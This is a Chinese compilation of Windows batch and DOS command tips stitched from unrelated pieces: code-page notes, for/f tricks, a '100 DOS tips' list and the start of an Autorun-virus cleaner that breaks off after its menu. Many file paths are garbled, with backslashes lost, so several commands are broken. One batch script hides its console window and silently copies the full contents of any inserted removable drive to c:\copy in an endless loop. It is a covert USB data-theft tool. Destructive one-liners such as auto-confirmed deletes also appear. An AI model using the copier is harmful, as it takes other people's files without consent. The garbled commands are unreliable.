  这样,如果中毒,那么必定会存在大量folder.htt和Desktop.ini,通过这样可以粗略的检查计算机是否感染病毒。

  批处理运用三:文件处理

  假设,我要大规模的做文件的移动、删除等,如果在Windows里操作不免会出现错误,而且这些错误不易察觉。因此

CMD中CODE PAGE的概念及其设置值:


Chcp

Displays the number of the active console code page, or changes the console's active console code page. Used without parameters, chcp displays the number of the active console code page.

Syntax

chcp [nnn]

Parameters

nnn : Specifies the code page. The following table lists each code page supported and its country/region or language: 

Code page        Country/region or language

437        United States

850        Multilingual (Latin I)

852        Slavic (Latin II)

855        Cyrillic (Russian)

857        Turkish

860        Portuguese

861        Icelandic

863        Canadian-French

865        Nordic

866        Russian

869        Modern Greek

什么是code page, 怎么修改windows cmd中的codepage



如果你的cmd无法正常显示中文, 或者其他字符, 通过chcp 来修改, 参数是nnn代表3个数字. 简体中文的codepage是: 936 西文是:1252



Code page 的历史:




1. Codepage的定义和历史

字符内码(charcter code)指的是用来代表字符的内码.读者在输入和存储文档时都要使用内码,内码分为 


单字节内码 -- Single-Byte character sets (SBCS),可以支持256个字符编码.

双字节内码 -- Double-Byte character sets)(DBCS),可以支持65000个字符编码.主要用来对大字符集的东方文字进行编码. 

codepage 指的是一个经过挑选的以特定顺序排列的字符内码列表,对于早期的单字节内码的语种,codepage中的内码顺序使得系统可以按照此列表来根据键盘的输入值给出一个对应的内码.对于双字节内码,则给出的是MultiByte到Unicode的对应表,这样就可以把以Unicode形式存放的字符转化为相应的字符内码,或者反之,在Linux核心中对应的函数就是utf8_mbtowc和utf8_wctomb. 

在1980年前,仍然没有任何国际标准如ISO-8859或Unicode来定义如何扩展US-ASCII编码以便非英语国家的用户使用.很多IT厂商发明了他们自己的编码,并且使用了难以记忆的数目来标识: 




例如936代表简体中文. 950代表繁体中文. 




1.1 CJK Codepage 

同 Extended Unix Coding ( EUC )编码大不一样的是,下面所有的远东 codepage 都利用了C1控制码 { =80..=9F } 做为首字节, 使用ASCII值 { =40..=7E { 做为第二字节,这样才能包含多达数万个双字节字符,这表明在这种编码之中小于3F的ASCII值不一定代表ASCII字符. 


CP932 


Shift-JIS包含日本语 charset JIS X 0201 (每个字符一个字节) 和 JIS X 0208 (每个字符两个字节),所以 JIS X 0201平假名包含一个字节半宽的字符,其剩馀的60个字节被用做7076个汉字以及648个其他全宽字符的首字节.同EUC-JP编码区别的是, Shift-JIS没有包含JIS X 202中定义的5802个汉字. 


CP936 


GBK 扩展了 EUC-CN 编码( GB 2312-80编码,包含 6763 个汉字)到Unicode (GB13000.1-93)中定义的20902个汉字,中国大陆使用的是简体中文zh_CN. 


CP949 


UnifiedHangul (UHC) 是韩文 EUC-KR 编码(KS C 5601-1992 编码,包括2350 韩文音节和 4888 个汉字a)的超集,包含 8822个附加的韩文音节( 在C1中 ) 


CP950 


是代替EUC-TW (CNS 11643-1992)的 Big5 编码(13072 繁体 zh_TW 中文字) 繁体中文,这些定义都在Ken Lunde的 CJK.INF中或者 Unicode 编码表中找到. 


注意: Microsoft采用以上四种Codepage,因此要访问Microsoft的文件系统时必需采用上面的Codepage . 



1.2 IBM的远东语言Codepage 

IBM的Codepage分为SBCS和DBCS两种: 


IBM SBCS Codepage 



37 (英文) * 

290 (日文) * 

833 (韩文) * 

836 (简体中文) * 

891 (韩文) 

897 (日文) 

903 (简体中文) 

904 (繁体中文) 

IBM DBCS Codepage 


300 (日文) * 

301 (日文) 

834 (韩文) * 

835 (繁体中文) * 

837 (简体中文) * 

926 (韩文) 

927 (繁体中文) 

928 (简体中文) 

将SBCS的Codepage和DBCS的Codepage混合起来就成为: IBM MBCS Codepage 


930 (日文) (Codepage 300 加 290) * 

932 (日文) (Codepage 301 加 897) 

933 (韩文) (Codepage 834 加 833) * 

934 (韩文) (Codepage 926 加 891) 

938 (繁体中文) (Codepage 927 加 904) 

936 (简体中文) (Codepage 928 加 903) 

5031 (简体中文) (Codepage 837 加 836) * 

5033 (繁体中文) (Codepage 835 加 37) * 

*代表采用EBCDIC编码格式 


由此可见,Mircosoft的CJK Codepage来源于IBM的Codepage 


@echo off

title $$$$*晗*晗*制*造*$$$$

mode con: cols=14 lines=1

:again

cls

del /Q /f "%temp%copy.tmp" >nul 2>nul

for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do @fsutil fsinfo drivetype %%i: >>"%temp%copy.tmp"

findstr /i "可移动驱动器" "%temp%copy.tmp" 

if errorlevel==1 goto end

if errorlevel==0 goto copy 

:end 

rem 没有检测到可移动磁盘!

if not exist %temp%sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%sleep.exe 20s

goto again

:copy 

if exist c:copy goto goon

cd

cd /d c:

md copy  

:goon 

for /f "tokens=1" %%i in ('findstr /i "可移动驱动器" "%temp%copy.tmp"') do (

xcopy /e /y  %%i*.* c:copy >nul 2>nul

)

rem 已复制,请及时清理文件!

if not exist %temp%sleep.exe ping 127.0.0.1 -n 20 >nul 2>nul

%temp%sleep.exe 20s

goto again




  比较以下两段代码的执行结果差异:


  1、

@echo off

for /f "delims=" %%i in (test.txt) do echo /%%i/

pause


  2、

@echo off

for /f "tokens=*" %%i in (test.txt) do echo /%%i/

pause


  test.txt 的内容为:    abc 。行首有若干空格。



  看到有什么差别了吗?


  原因:"delims=" 的含义是取消默认的分隔符,所以会把行上的内容照搬下来,而 "tokens=*" 表示获取行上的所有内容,但是会忽略行首的所有空格。


                                                                —— namejm


  当用del删除文件时,不能使用 del /a /f >nul 2>nul&&echo yes||echo no 来判断是否已经删除,因为无论在什么情况下,始终显示yes。rd不存在这个现象。所以,在不知道要删除的是文件还是文件夹的时候,应该用如下代码:

@echo off

:: rd 和 del 的顺序不能反

rd /q /s "目标">nul 2>nul||del /a /f "目标">nul 2>nul

pause


                        —— namejm


一、


    —— pengfei


@echo off

for /f "tokens=*" %%i in ('dir /s /a-d /b "D:Share iles资料*f*.*"') do (

    echo %%i

    echo %%i>>file.txt

)

pause


提取这个文件夹下的所有存在f的文件.

资料*f*.*


提取到的文件会生成到file.txt中


文件夹弄错啦!


这里正常提取到ftp.txt


ok 问题出现了


提取到娟平 014.jpg等不存以f字符, 但中间有空格的文件.


D:Share iles资料照片花花公子11961873_218529.jpg


这个文件存在_符号.


D:Share iles资料ADSLftp2.txt

D:Share iles资料照片1娟平 014.jpg

D:Share iles资料照片1娟平 007.jpg

D:Share iles资料照片1娟平 015.jpg

D:Share iles资料照片1娟平 016.jpg

D:Share iles资料照片1娟平 017.jpg

D:Share iles资料照片1娟平 018.jpg

D:Share iles资料照片1娟平 019.jpg

D:Share iles资料照片1娟平 104.jpg

D:Share iles资料照片1娟平 105.jpg

D:Share iles资料照片1娟平 106.jpg

D:Share iles资料照片1娟平 107.jpg

D:Share iles资料照片1娟平 108.jpg

D:Share iles资料照片1娟平 109.jpg

D:Share iles资料照片1娟平 114.jpg

D:Share iles资料照片1娟平 115.jpg

D:Share iles资料照片1娟平 116.jpg

D:Share iles资料照片1娟平 117.jpg

D:Share iles资料照片1娟平 118.jpg

D:Share iles资料照片1娟平 119.jpg

D:Share iles资料照片1娟平 124.jpg

D:Share iles资料照片1娟平 128.jpg

D:Share iles资料照片1娟平 134.jpg

D:Share iles资料照片1娟平 138.jpg

D:Share iles资料照片1娟平 146.jpg

D:Share iles资料照片1娟平 156.jpg

D:Share iles资料照片1娟平 166.jpg

D:Share iles资料照片1娟平 176.jpg

D:Share iles资料照片1娟平 186.jpg

D:Share iles资料照片3cmy8543_61.gif

D:Share iles资料照片3misukhot_44.gif

D:Share iles资料照片3misukhot_80.gif

D:Share iles资料照片3 efiju_42.jpg

D:Share iles资料照片3 efiju_43.jpg

D:Share iles资料照片3zkmrf005-qqyeri2.gif

D:Share iles资料照片7爬山 017.jpg

D:Share iles资料照片7照片 002.jpg

D:Share iles资料照片5照片 042.jpg

D:Share iles资料照片5照片 032.jpg

D:Share iles资料照片5照片 022.jpg

D:Share iles资料照片5照片 012.jpg

D:Share iles资料照片5照片 006.jpg

D:Share iles资料照片5照片 002.jpg

D:Share iles资料照片花花公子11961840_218524.jpg

D:Share iles资料照片花花公子11961851_218527.jpg

D:Share iles资料照片花花公子11961873_218529.jpg


二、


  —— namejm


比较如下两段代码:

1、

@echo off

for /f "tokens=*" %%i in ('dir /a /b /s "D: est"') do (

    echo %%~ai

)

pause


2、

@echo off

for /f %%i in ('dir /a /b "D: est.txt"') do (

    echo %%~ai

)

pause


1的代码能正确取到每个文件的属性,但是,2的代码取到的是当前目录下test.txt的属性,

解决办法是把2中的'dir /a /b "D: est.txt"'改为"d: est.txt"




DOS技巧100例


来源:http://www.cn-dos.net/forum/viewthread.php?tid=23999&fpage=0&highlight=&page=1

tianzizhi

2006-10-20 18:36


1、*.*的简写

  *.*可以用.代替,例如,删除当前目录中的全部文件∶

  DEL.

  2、返回父目录即上级目录

  CD..

  3、把目录文件的列表存入文本文件中

  DIR>filename

  4、查看当前目录下任何属性的文件

  方法一∶DIR,

  方法二∶DIR/A

  5、取消当前目录下所有文件的所有属性(实际上只能查看属性而不能取消-jm注)

  ATTRIB,

  若在C盘根目录下执行此命令,再用DIR来查看,可以看到IO.SYS、MSDOS.SYS等隐含文件

  6、显示当前目录下的所有子目录名

  DIR/AD

  7、连续显示多个文件的内容

  COPY *.* CON 

  8、分屏显示文件内容

  方法一∶MORE<filename

  方法二∶TYPE filename|more

  9、改变磁盘文件的注册时间

  方法一∶COPY filename+NUL

  方法二∶COPY filename+,,

  10、如何屏蔽DOS行的输出信息?

  方法是将屏幕输出重定向到DOS空设备NUL,例如∶

  COPY MYPROG.EXE A:>NUL

  11、在DOS状态下直接显示用D方式编辑的WPS文件内容

  COPY filename.wps CON/B

  12、向文本文件中追加数据

  方法一∶COPY filename+CON

  方法二∶TYPE CON>>filename

  输入完毕后按F6或Ctrl+Z键结束。

  13、键盘指法练习或汉字输入练习的简易屏幕

  COPY CON NUL

  14、直接打印键盘输入的内容

  方法一∶COPY CON PRN

  方法二∶MORE>PRN

  方法三∶SORT>PRN

  输入完毕后按F6或Ctrl+Z键。

  15、DOS下直接编辑生成文件

  在没有任何编辑软件(如EDLIN、EDIT等)的情况下,可临时用以下六种方法从键盘编辑生成文件,当文件内容输入完毕后,按F6键或按Ctrl+Z键存盘退出∶

  方法一∶COPY CON filename

  方法二∶TYPE CON>filename

  方法三∶MORE>filename

  方法四∶SORT>filename

  方法五∶FIND"XXX"/V/N>filename

  方法六∶SORT|FIND"XXX"/V/N>filename

  方法四、五、六均有特殊用处,读者不妨一试。

  16、零字节文件的生成

  方法∶TYPE NUL>filename

  上述方法常用于处理需保密的磁盘文件,起到删除文件内容的作用,内容被删除后一般不可恢复。

  17、对零字节文件的拷贝,不能用COPY命令,只能用XCOPY命令。

  例如∶XCOPY filename1 filename2 

  18、目录中的所有文件和子目录的复制

  XCOPY 目录名.驱动器号:/S

  19、如何正确使用COPY 和XCOPY命令?

  ●将若干个文件联结成一个文件时,应使用COPY命令。

  ●拷贝小于64KB的单个文件,使用COPY命令。拷贝大于64KB的文件,应使用XCOPY命令。

  ●拷贝多个文件应使用XCOPY命令。

  ●拷贝子目录中的内容,应使用XCOPY/S命令。拷贝一批文件到软盘,应使用XCOPY/M命令。

    20、什么时候用XCOPY命令的/D开关项? 

  有时候需要从某个目录中"选出"从某一天开始建立或修改过的文件,并将它们备份,此时可使用XCOPY/D命令。例如,下述命令可以把C∶目录下那些在1996年7月1日以后建立或修改过的文件拷贝到A盘∶ 

  XCOPY C:*.* A:/D:07-01-96 

  21、单软驱复制软盘

  有的PC机只装有一个软驱,这个驱动器既当A盘又当B盘使用,如果要在这样的系统上进行软盘复制,使用下述的XCOPY 命令∶ 

  XCOPY A: B:

  22.整理软盘中碎块,提高使用效率

  一张软盘经过多次建立和删除文件操作后,某些文件记录会以不连续的形式存放在软盘空间中,造成软盘空间产生许多碎块,影响软盘的读写操作性能,严重时可导致读写故障。

  解决以上问题可使用COPY命令进行整盘拷贝,则新盘上的文件保持连续存放。

  23.将多个文件连续拷入多张软盘。

  首先,用ATTRIB命令设置每一文件的文档特性∶

  ATTRIB+A *.*/S

  然后使用XCOPY命令,在软盘装满后插入新盘,根据文档特性决定哪些文件需要拷贝,哪些不拷。

  XCOPY *.* A∶/S/M/W

  24.使用TYPE命令"拷贝"文件

  拷贝文件通常使用COPY命令或XCOPY命令,其实,TYPE也有"拷贝"文件的用途∶

  TYPE filenamel>filename2

  这种方法对于拷贝隐含文件非常有效。例如∶TYPE IO.SYS>A∶IO.SYS

  25.以小写方式显示文件或目录

  DIR/L

  26.只显示文件名与子目录名,不显示文件大小和生成时间等信息

  DIR/B

  27.使DIR总是按文件名的字母顺序来显示文件

  在AUTOEXEC BAT中加入下述命令即可∶

  SET DIRCMD=/O

  28.列当天创建的文件目录

  若想知道当天(如1996年10月21日)建立了多少文件,可用下述命令列出∶

  DIR|FIND"10 21 1996"

  29.若不希望别人使用DIR命令进行目录文件列表,有什么方法呢?

  方法一∶DOSKEY DIR=You can not use DIR!

  方法二∶在AUTOEXEC BAT中加入命令行∶SET DIRCMD=0

  此命令的功能是在用DIR命令来显示文件时,只显示"File not found",能起到暂时保密的作用。若想显示文件及目录,只有指定具体的文件名或路径。

  方法三∶SET DIRCMD=DIR>NUL

  此命令执行后再使用DIR命令,将输出没有文件的信息,也颇具迷惑性。

  30.出所有目录中的文件

    CHKDSK/V|MORE

  31.如何在有多级目录的磁盘上查找文件

  方法一∶CHKDSK/V|FIND"文件名"其中文件名必须用大写字母。

  方法二∶DIR/S文件名

  32.实时控制打印机的换行或换页

     ECHO+>PRN(换行)

     ECHO^L>PRN(换页)

  33.使计算机在DOS命令行发出声音

     ECHO ^G

  34.DOS命令提问的自动响应

  例如∶

   ECHO Y|DEL C∶

   ECHO N|CHKDSK C∶/F

  35.使ECHO命令显示空行

  ECHO命令后直接跟空格字符时,ECHO将显示当前的信息回显状态(ON或OFF),而不直接向屏幕回显空行。其实,下面一些非常简单的命令格式都能使ECHO命令显示空行∶

  ECHO   ECHO, ECHO; ECHO+

  ECHO[ ECHO] ECHO/ ECHOpar   

  36.用ECHO命令向交互式DOS命令馈送回车符

  例如∶

  ECHO+|DATE|FIND"Current date" 

  ECHO+|TIME|FIND"Current time" 

  此技巧可用于AUTOEXEC.BAT中,使每次开机后直接显示当前日期和时间信息,不必按回车键就能继续下去。

  37.开机时间黑匣子

  有时需要记录每次使用计算机的日期和时间,以便加强用机管理。可以利用上述技巧,只须在AUTOEXEC.BAT文件中加入下列命令∶

  ECHO+|DATE>>ABC

  ECHO+|TIME>>ABC

  这样在每次启动计算机后,文件ABC中就自动记录了日期和时间,执行命令TYPE ABC即可查看以往开机日期和时间。

  38.自动统计命令或文件的运行时间

  下面给出一个计时器TIMETEST.BAT,实现了自动统计命令或文件的运行时间∶

  @ECHO OFF

  TIME 0

  COMMAND /C %1 %2 %3 %4

  ECHO %1 %2 %3 %4运行时间为∶

  ECHO+|TIME|FIND"time is"

  @ECHO ON

  例如,测试AUTOEXEC.BAT运行时间∶

  C>TIMETEST AUTOEXEC.BAT ┆

  AUTOEXEC.BAT运行时间为∶

  Current time is 0∶00∶03 49

  说明AUTOEXEC.BAT运行了3.49秒。   

  39.跳过或单步执行CONFIG.SYS和AUTOEXEC.BAT文件

  方法一∶启动计算机,屏幕出现Starting MS-DOS…时,按F5键或SHIFT键,DOS便会跳过CONFIG.SYS和AUTOEXEC.BAT两文件,用系统运行的基本环境配置来启动机器。

  方法二∶当出现上面的提示后,按F8键,并通过键盘逐一回答Y或N来选择执行命令。

  方法三∶在CONFIG.SYS文件的命令中加上"?"号。如DOS?=UMS,这样在执行到该条命令时,便会出现[Y,N]?的选择提示,让你选择是否装入该命令。

  40.能否省去DOS启动时等待按F8或F5的两秒时间?

  能。方法是在CONFIG SYS文件的头部加上语句SWITCHES=/F,此后同样可以实现以前的功能,方法是在未出现"Starting MS-DOS…"时就按下F8或F5键。

  41.单步执行批处理文件

  COMMAND/Y/C(批处理文件名)

  开关/Y告诉DOS在执行每一行前暂停,提示[Y,N]?询问用户是否执行。

  42.快速获取DOS命令的帮助信息

  方法一∶FAST HELP 命令名

  方法二∶命令名/?

  方法三∶命令名/H

  43.方便地更改子目录名

  以下MOVE命令能将C∶目录改名为C∶∶

  MOVE C∶ C∶

  44.什么时候使用MOVE命令移动文件?

  MOVE命令的最大特点是可以在一个命令行里列出多个要移的文件,文件之间可用","号相隔。例如,将当前目录中所有可执行文件均移进目录中∶

  MOVE *.COM,*.EXE,*.BAT

  45.用MOVE命令对子目录进行简单加密或解密

  加密∶如将C∶目录利用半个汉字进行简单加密,可执行命令∶

  MOVE C∶ C(半个汉字字符)

  解密∶反之,可用MOVE命令结合通配符*或?,将不可识别的目录名改成其它名字,达到解密目的。

  46.快速进入深层子目录

  可用SUBST命令设置驱动器标识符,取代深层次子目录路径,使得进入深层次子目录十分方便。例如,下述命令可以将子目录C∶模拟成M盘∶

  SUBST M∶ C∶

  这样,在任何目录下,只要将当前驱动器变成M,即可进入PRG子目录。

  47.如何取消SUBST设置的盘符?

  例如,要取消上例中的M盘,只须执行命令SUBST M∶/D即可。

  48.建立并进入新目录的MD命令

  DOS中的MD命令只能建立子目录,建好后再用CD命令进入,其实可以用∶

  DOSKEY MD=MD $1 $T CD $1

对MD命令进行重新定义,此后使用MD时,建立目录和进入目录同步完成。

  49.排除法文件列表

  DIR命令中支持通配符*和?来代替其它字符,但却没有提供相应的排除字符的功能,而利用FIND命令中的/V参数,则能方便地实现排除法列表。下述命令能将除去.BAK文件和子目录以外的所有文件列出∶

  DIR|FIND/V"BAK"|FIND/V"<DIR>"

  50.>和>>的区别

  DIR>DIRLIST∶如果DIRLIST文件存在,将清除其文件内容,并将新内容输入文件中。

  DIR>>DIRLIST∶如果DIRLIST文件存在,将输出数据附加到这个文件末尾。

  在DIRLIST文件不存在时,两者是等价的。

  51.快速添加搜索路径

  PATH=%PATH%;%1

  52.对数据文件及由字处理程序生成的文本文件等不可执行文件,建立自动搜索路径。

  APPEND命令能将一组指定的目录添加进当前目录的逻辑扩展,从而不用指定路径就能打开这组文件。APPEND后可以放多个目录,只要用";"隔开即可,例如∶

  APPEND C∶;C∶;C∶;C∶;

  53.将目录名隐藏起来

  由于ATTRIB命令可改变一个目录的属性,所以利用该命令可将目录名隐藏起来。例如,将目录C∶隐藏起来∶

  ATTRIB +H C∶

  54.快速删除目录树

  用DELTREE命令可快速地删除指定目录,而不管目录中有多少子目录和目录及文件为何种属性。例如∶DELTREE C∶

  55.防止误删除文件

  DEL命令是一个危险的命令,可以用下述命令对其进行重新定义,使得在删除文件时有确认提示∶

  DOSKEY DEL=DEL $1/P

  56.如果误删除了某些文件,有什么办法及时地将它们恢复?

  UNDELETE命令可以用来恢复删除文件,以下命令能将当前目录中的被删文件恢复出来∶

  UNDELETE *.*/ALL

  此命令恢复出来的文件名的第一个字符变成了#,可用REN命令更改成原来的文件名。

  57.删除多个文件名无共同特征的文件时,由于难用通配符,只能逐个删除,比较麻烦。有没有其他方便的方法?

  有。使用DEL *.*/P命令,系统会逐个列出指定目录的所有文件,询问用户是否删除,对欲删除文件回答Y,否则回答N。

  58.加密文件名一法

  在要加密的文件名最后加上ASCII字符255。方法是输入文件名后按下ALT键,然后输入255。这样,用DIR命令列出该文件时,并不显示这个字符,即从文件名看不出发生了任何变化,起到了一定的加密作用。

  59.回忆用过的命令

  执行DOSKEY命令后,用户所输入的命令便被存储起来,以后若要回忆使用过的命令,可随时用"↑"或"↓"键进行前后逐条查找。

  60.禁止非法访问某个驱动器

  在AUTOEXEC.BAT文件中加入下述两条命令,可以禁止非法访问D盘,当输入D∶时,屏幕即关闭,只有知道密码ZM的人才能进入D盘∶

  DOSKEY D∶=ECHO OFF

  DOSKEY ZM=D∶

  61.防止别人误将C盘格式化

  为了保护C盘,防止别人格式化,可用DOSKEY对FORMAT命令进行重新定义,例如∶

  DOSDEY FORMAT=You can not format C∶!

  这样,别人在使用FORMAT时将出现Yor can not format C∶!的提示,从而使C盘得到保护。若自己想用FORMAT时,再用如下命令恢复∶

  DOSKEY FORMAT=

  62.检查屏幕状态,获得有关屏幕显示字符和行数的报告

  MODE CON

  63.设置屏幕每行显示字符数和每屏的行数

  例如∶

  MODE CON COLS=80 LINES=25

  64.提高键盘的响应速度

  MODE CON∶RATE=32 DELAY=1

  65.不喜欢系统启动时Num Lock键的缺省设置怎么办?

  在CONFIG SYS文件中加进NUMLOCK命令,根据你的爱好指定系统启动时NUMLOCK键的状态∶

  NUMLOCK=ON(或OFF)

  66.简单的键盘锁

  在你使用计算机时,如果只离开一会,又不想关机,为了不让别人随意使用,可编制一个简单的键盘锁LOCK BAT程序(内容如下)∶

  @ECHO OFF

  CLS

  CHOICE/C:*/N

  运行之后,形同死机,"*"号就是键盘锁的钥匙,不知道的人无法破译。

  67.文件的选择显示

  假设有MY1 TXT、MY2 TXT、…、MY10.TXT共10个文件,现欲显示其中的MY2.TXT、MY3.TXT、MY6.TXT和MY9.TXT 4个文件,可用如下命令很方便地实现∶

  FOR %A IN(2369)DO TYPE MY%A.TXT

  68.删除误拷贝文件

  当用COPY A∶*.*命令把A盘上所有文件拷贝到硬盘某子目录下时,却不慎误拷贝到硬盘根目录下,如误拷贝的文件数量很多,且文件名没有任何特征,这时如要删除这些文件,通常做法是用PCTOOLS工具软件进行选择删除,比较麻烦。使用FOR命令就简单多了∶

  A>FOR %A IN(*.*)DO DEL C∶%A

  69.由于FIND命令不能接受通配符,若希望在若干个文本文件中寻找含有某个字符串插,就只能对每个文件依次使用FIND命令,显然很费功夫,没有捷径吗?

  有。使用FOR命令与FIND命令配合,格式为∶

  FOR%A IN(文件组)DO FIND"string"%A

  70.FOR命令不能嵌套,有没有办法实现FOR循环嵌套呢?

  有。可以把COMMAND.COM作为第一层循环里的命令,让它再执行一个FOR循环命令。例如,下述命令可以在屏幕上显示12行"Welcome you":FOR %A IN(123)DO COMMAND/C FOR %B IN(1234)DO ECHO Welcome you

  71.双冒号∶∶在注释行中的作用

  在DOS批处理文件开头,经常使用REM注释命令加一个程序头。例如,假设有一个名为TEST.BAT的批处理文件,它以一个文本文件名为输入参数,若在开头说明其用法时,使用了一个采用<和>和括号的注释行,即∶

  REM TEST<filename>

  程序执行此命令时,DOS将显示"File not found"信息,因为它以为filename是一个重定向输入操作的源文件,它在当前目录中找不到。如何解决这个问题?

  很简单,只须将REM改为双冒号"∶∶",即∶

  ∶∶TEST<filename>

  72.批处理中的IF ERRORLEVEL

  在批处理文件里使用IF ERRORLEVEL命令时要小心,因为DOS认为任何大于或等于设定值的出口状态值都是等效的。通常应按从大到小的次序测试出口状态值,例如∶

  IF ERRORLEVEL 2 ECHO TWO

  IF ERRORLEVEL 1 ECHO ONE

  IF ERRORLEVEL 0 ECHO ZERO

  73.能不能按从小到大的次序测试出口状态值?

  能。但应结合IF NOT的形式进行判断,例如72例中的命令应改为∶

  IF ERRORLEVEL 0 IF NOT ERRORLEVEL 1 ECHO ZERO

  IF ERRORLEVEL 1 IF NOT ERRORLEVEL 2 ECHO ONE

  IF ERRORLEVEL 2 IF NOT ERRORLEVEL 3 ECHO TWO

  74.批处理文件中使用@符禁止命令显示在屏幕上

  由于DOS是在各个命令执行前就将它们显示到屏幕上的,因此,即使你将ECHO命令置为OFF,它本身也会出现在屏幕上。要抑制它的显示,可在ECHO命令行前加@符∶@ ECHO OFF

  75.统计源程序的行数

  假设源程序名为ZM.PRG,下述FIND命令可方便地统计它共有多少行∶

  FIND/V/C" "ZM.PRG

  76.对文本文件进行排序

  SORT命令常用来对一些基于文本行的文件进行排序显示。例如,按姓名的开头字母显示一个含有电话号码的清单文件。命令格式∶

  SORT[/R][/+n]<filename1>filename2

  其中,/R表示反向排序,/+n表示从第几行开始排序,filename1为源文件名,filename2为排序后的文件名。

  77.用PROMPT设置有意义的提示符

  PROMPT命令用于设置新的DOS系统提示符。例如∶

  PROMPT $P$G 取当前驱动器名及目录作为提示符

  PROMPT $D$G 取当前系统日期作为提示符。

  78.如何设定屏幕颜色?

  假设ANSI.SYS已被安装在内存中,以下命令可把屏幕设置成白底红字∶

  PROMPT $E[31;47m

  79.在屏幕上选定的位置显示日期和时间信息

  把ANSI SYS的屏幕和光标控制功能与PROMPT的设定DOS命令提示符功能结合起来,可以在屏幕上选定的位置显示特殊的信息。例如,在AUTOEXEC BAT中加入下述命令行,可将日期和时间信息移到屏幕的右下方∶

  PROMPT $E[S $E[25;52H $D$T $E[u $P$G

  80.用F2键编辑上次命令

  用F1或F3功能键可复制上次命令,类似地F2键能得到部分上次命令,当按下F2键时,DOS就将上次命令内容拷贝到按F2键后键入的字符(不含)为止。

  例如,键入了以下命令∶

  C>DIR.COM<enter> 

  按F2键及M键,可以得到∶

  C>DIR

  这时再按INS插入键,输入R,再按F3键复制上次命令剩余部分,得到正确的命令∶

  C>DIR.COM

  81、用F4键编辑上次命令

  当按下F4键时,DOS从按F4键后按的字母开始复制上次命令。例如,上次命令为∶

  C>DIR[enter] 

  按下F4键,再输入F,然后再按F3,DOS就会显示FORMAT命令∶

  C>FORMAT

  82、用SHELL命令改变环境空间的大小

  将环境变量空间增加到1KB,可在CONFIG.SYS文件中加进命令行∶

  SHELL=C∶.COM/P/E∶1024

  83、在批处理文件中引用环境变量

  批处理文件可以引用系统上已定义的环境变量。具体方法是在环境变量名的前后各放一个百分号"%"。例如,要在批处理文件中显示环境变量PATH的内容,可加进命令行∶

  ECHO %PATH% 

  84、查看单个环境变量

  如果你经常使用环境变量,当用SET命令显示当前所有已分配的环境变量时,列表就可能很长,屏幕可能很杂乱。为方便起见,可用下面的批处理文件VIEWENV.BAT在命令行直接显示单个环境变量∶

  SET|FIND/I "%1"

  例如,要察看COMSPEC的内容,只须执行∶

  VIEWENV COMSPEC

  85、制作DOS系统盘

  方法一∶FORMAT A∶/S

  方法二∶SYS A∶

  86、定期整理硬盘

  具体步骤∶

  ·删除硬盘中不必要的文件

  ·运行CHKDSK/F

  ·运行DEFRAG

  87、了解内存的类型

  ·常规内存∶0~640KB

  ·上位内存区(UMA)∶640KB~1MB

  ·扩展内存∶自1MB起向上延伸

  ·高内存区(HMA)∶1MB以上的稍小于64KB的扩展内存区

  ·扩充内存

  88、将DOS移到高内存区

  为使用户有较大的可用基本内存,可以在CONFIG.SYS文件中加入下述命令,加载HIMEM.SYS,将DOS移入高内存区(HMA)∶

  DEVICE=C∶.SYS

  DOS=HIGH

  89、将设备驱动程序和内存驻留程序装入上位内存(UMB)

  在CONFIG.SYS文件中加进命令∶

  DEVICE=C∶.EXE NOEMS

  DOS=UMB

  90、将程序装入高内存区

  将程序装入HMA的方法是在命令行上加一个/U开关,例如∶

  MOUSE/U

  91、上位内存的使用

  为将程序驻留上位内存,使用LOADHIGH(或LH)<程序名>即或,例如∶

  LH MOUSE

  92、如何显示某个特定程序占用内存的情况?

  MEM/M module

  其中,module表示特定程序文件名,不要带扩展名。

  93、使用Memmaker自动优化内存

  执行MEMMAKER/BATCH命令,MEMMAKER就自动为CONFIG.SYS和AUTOEXEC.BAT文件做最优的设置,此后,执行MEM/C/P来观察内存的分配情况,你会发现主存变大了。

  94、若不满意MEMMAKER的优化设置,应该怎么办?

  很简单,只须执行MEMMAKER/UNDO即可恢复你原来的配置。

  95、磁盘高速缓冲存储器SMARTDRV的使用

  为建立一个具有256K(默认值)的磁盘高速缓存,可在AUTOEXEC.BAT文件中加入命令行∶

  C∶

  由于SMARTDRV是建立在扩展内存中,所以还必须在CONFIG.SYS文件中加入命令行∶

  DEVICE=C∶.SYS

  96、当你关闭计算机或重新启动时,希望确定所有在高速缓存的信息均已写入硬盘时,应在系统提示符下键入命令∶

  SMARTDRV/C

  97、跳过SCANDISK的磁介质扫描

  运行SCANDISK时,磁介质扫描要消耗很长时间,其实,使用SCANDISK/CHECKONLY便可跳过它。

  98、LOADFIX命令的正确使用

  在优化过程中,有少数程序不能在640KB常规内存的低64KB内正确运行。此时,可使用LOADFIX命令让可执行程序(如ZMPROG.EXE)在低64KB以上的内存中运行,方法是在要运行的应用程序前加上LOADFIX∶

LOADFIX ZMPROG

  99、何时使用虚拟盘(也称RAM盘)?

  RAM盘能显着提高磁盘文件的存取速度,但它在断电或重启动时会丢失数据。因此,使用RAM盘时要特别小心。在没有硬盘的系统上,RAM盘值得一用;在需要存放较大的临时文件或复制程序时,也可以使用;当你的系统上配有CD-ROM时,在开始工作前,可将CD-ROM盘上的文件与数据复制进RAM盘,能够显着提高效率。

  100、虚拟盘的安装

  DOS提供的RAMDRIVE.SYS是一个虚拟盘驱动程序,你可以将它安装进内存,让它使用扩展内存或扩充内存,生成指定大小的RAM盘。例如,在CONFIG.SYS中加进下述命令,可在扩展内存中生成一个1MB的RAM盘∶

  DEVICE=C∶.SYS 1024/E 


@Echo Off

color 2f

title  Autorun 病毒清除工具-By Phexon

Rem 杀进程

taskkill /F /IM SocksA.exe /IM SVOHOST.exe /IM AdobeR.exe /IM ravmone.exe /IM wincfgs.exe /IM doc.exe /IM rose.exe /IM sxs.exe /IM autorun.exe /IM KB20060111.exe /IM tel.xls.exe>nul 2>nul



:clearauto

cls

Echo.

Echo Autorun 病毒清除工具

Echo.

Echo.

Echo.

Echo       制作:Phexon

Echo.

Echo 本程序运行后自动清除每个盘符下面的Autorun病毒

Echo 本程序原理是基于读取每个盘符下的Autorun.inf相关字段

Echo.

Echo [1] 仅仅删除所有盘符下的 Autorun 病毒

Echo [2] 删除所有盘符下的 Autorun 病毒并且建立同名免疫目录(推荐!)

Echo [3] 禁用系统的 Autorun 机制以避免 Autorun 病毒的再次感染

Echo [4] 取消所有盘符的 Autorun 病毒免疫

